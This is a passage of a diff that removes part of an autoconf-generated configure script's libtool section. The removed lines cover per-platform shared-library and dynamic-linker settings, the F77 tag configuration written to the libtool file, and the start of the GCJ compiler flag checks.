- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action_F77=
-if test -n "$hardcode_libdir_flag_spec_F77" || \
- test -n "$runpath_var_F77" || \
- test "X$hardcode_automatic_F77" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct_F77" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, F77)" != no &&
- test "$hardcode_minus_L_F77" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action_F77=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action_F77=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action_F77=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action_F77" >&5
-$as_echo "$hardcode_action_F77" >&6; }
-
-if test "$hardcode_action_F77" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_F77 \
- CC_F77 \
- LD_F77 \
- lt_prog_compiler_wl_F77 \
- lt_prog_compiler_pic_F77 \
- lt_prog_compiler_static_F77 \
- lt_prog_compiler_no_builtin_flag_F77 \
- export_dynamic_flag_spec_F77 \
- thread_safe_flag_spec_F77 \
- whole_archive_flag_spec_F77 \
- enable_shared_with_static_runtimes_F77 \
- old_archive_cmds_F77 \
- old_archive_from_new_cmds_F77 \
- predep_objects_F77 \
- postdep_objects_F77 \
- predeps_F77 \
- postdeps_F77 \
- compiler_lib_search_path_F77 \
- archive_cmds_F77 \
- archive_expsym_cmds_F77 \
- postinstall_cmds_F77 \
- postuninstall_cmds_F77 \
- old_archive_from_expsyms_cmds_F77 \
- allow_undefined_flag_F77 \
- no_undefined_flag_F77 \
- export_symbols_cmds_F77 \
- hardcode_libdir_flag_spec_F77 \
- hardcode_libdir_flag_spec_ld_F77 \
- hardcode_libdir_separator_F77 \
- hardcode_automatic_F77 \
- module_cmds_F77 \
- module_expsym_cmds_F77 \
- lt_cv_prog_compiler_c_o_F77 \
- exclude_expsyms_F77 \
- include_expsyms_F77; do
-
- case $var in
- old_archive_cmds_F77 | \
- old_archive_from_new_cmds_F77 | \
- archive_cmds_F77 | \
- archive_expsym_cmds_F77 | \
- module_cmds_F77 | \
- module_expsym_cmds_F77 | \
- old_archive_from_expsyms_cmds_F77 | \
- export_symbols_cmds_F77 | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_F77
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_F77
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_F77
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_F77
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_F77
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_F77
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_F77
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_F77
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_F77
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_F77
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_F77
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_F77
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_F77
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_F77
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_F77
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_F77
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_F77
-archive_expsym_cmds=$lt_archive_expsym_cmds_F77
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_F77
-module_expsym_cmds=$lt_module_expsym_cmds_F77
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_F77
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_F77
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_F77
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_F77
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_F77
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_F77
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_F77
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_F77
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_F77
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_F77
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator_F77
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct_F77
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L_F77
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var_F77
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic_F77
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs_F77
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_F77"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols_F77
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds_F77
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_F77
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms_F77
-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
-
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
- else
- tagname=""
- fi
- ;;
-
- GCJ)
- if test -n "$GCJ" && test "X$GCJ" != "Xno"; then
-
-
-# Source file extension for Java test sources.
-ac_ext=java
-
-# Object file extension for compiled Java test sources.
-objext=o
-objext_GCJ=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="class foo {}\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='public class conftest { public static void main(String[] argv) {}; }\n'
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${GCJ-"gcj"}
-compiler=$CC
-compiler_GCJ=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-
-# GCJ did not exist at the time GCC didn't implicitly link libc in.
-archive_cmds_need_lc_GCJ=no
-
-old_archive_cmds_GCJ=$old_archive_cmds
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-
-lt_prog_compiler_no_builtin_flag_GCJ=
-
-if test "$GCC" = yes; then
- lt_prog_compiler_no_builtin_flag_GCJ=' -fno-builtin'
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -fno-rtti -fno-exceptions" >&5
-$as_echo_n "checking if $compiler supports -fno-rtti -fno-exceptions... " >&6; }
-if ${lt_cv_prog_compiler_rtti_exceptions+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_rtti_exceptions=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="-fno-rtti -fno-exceptions"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_rtti_exceptions=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_rtti_exceptions" >&5
-$as_echo "$lt_cv_prog_compiler_rtti_exceptions" >&6; }
-
-if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then
- lt_prog_compiler_no_builtin_flag_GCJ="$lt_prog_compiler_no_builtin_flag_GCJ -fno-rtti -fno-exceptions"
-else
- :
-fi
-
-fi
-
-lt_prog_compiler_wl_GCJ=
-lt_prog_compiler_pic_GCJ=
-lt_prog_compiler_static_GCJ=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_static_GCJ='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_GCJ='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic_GCJ='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_GCJ='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic_GCJ='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- lt_prog_compiler_can_build_shared_GCJ=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic_GCJ=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_GCJ='-fPIC'
- ;;
- esac
- ;;
-
- *)
- lt_prog_compiler_pic_GCJ='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_GCJ='-Bstatic'
- else
- lt_prog_compiler_static_GCJ='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic_GCJ='-qnocommon'
- lt_prog_compiler_wl_GCJ='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_GCJ='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_GCJ='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- lt_prog_compiler_static_GCJ='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # PIC (with -KPIC) is the default.
- lt_prog_compiler_static_GCJ='-non_shared'
- ;;
-
- newsos6)
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-static'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95*)
